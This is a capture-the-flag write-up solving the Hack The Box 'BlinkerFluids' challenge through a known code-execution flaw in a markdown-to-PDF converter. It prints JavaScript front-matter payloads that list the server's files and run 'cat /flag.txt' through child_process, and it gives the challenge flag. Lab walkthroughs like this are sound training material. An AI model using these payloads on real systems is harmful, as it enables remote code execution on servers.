BlinkerFluids

Write-up author: jon-brandy

DESCRIPTION:

Once known as an imaginary liquid used in automobiles to make the blinkers work is now one of the rarest fuels invented on Klaus' home planet Vinyr. The Golden Fang army has a free reign over this miraculous fluid essential for space travel thanks to the Blinker Fluids™ Corp. Ulysses has infiltrated this supplier organization's one of the HR department tools and needs your help to get into their server. Can you help him?

HINT:

• NONE

STEPS:

1. First, open the host given.

RESULT

2. Let's try to see the pdf file.

RESULT

3. Nothing that could be our interest here, so let's check the source code.

RESULT - challenge - helpers

4. Next i did a small outsource about MD to PDF vulnerability and found out there's a CVE about it.

RESULT

5. Seems we can do RCE.
6. Checking the github issue and found another payload we can use.

7. Little bit confused for the first payload we got, but let's use the other one with more thumbs up :D.

---js
{
    css: `body::before { content: "${require('fs').readdirSync('/').join()}"; display: block }`,
}
---

8. Copy the payload -> create new invoice -> paste the script -> save. Open the pdf file.

RESULT

9. Great we listed all the files and directories, notice there's a flag.txt file. Now to cat the flag we can utilize the payload we got at first. Grab this one and modify the payload

FROM

---js
{
    css: `body::before { content: "${}"; display: block }`,
}
---

TO

---js
{
    css: `body::before { content: "${require('child_process').execSync('cat /flag.txt')}"; display: block }`,
}
---

10. Now create new invoice again -> paste the payload -> save it -> open the pdf.

RESULT

11. Got the flag!

FLAG

HTB{int3rG4l4c7iC_r1d3_0n_bl1nk3r_flu1d5}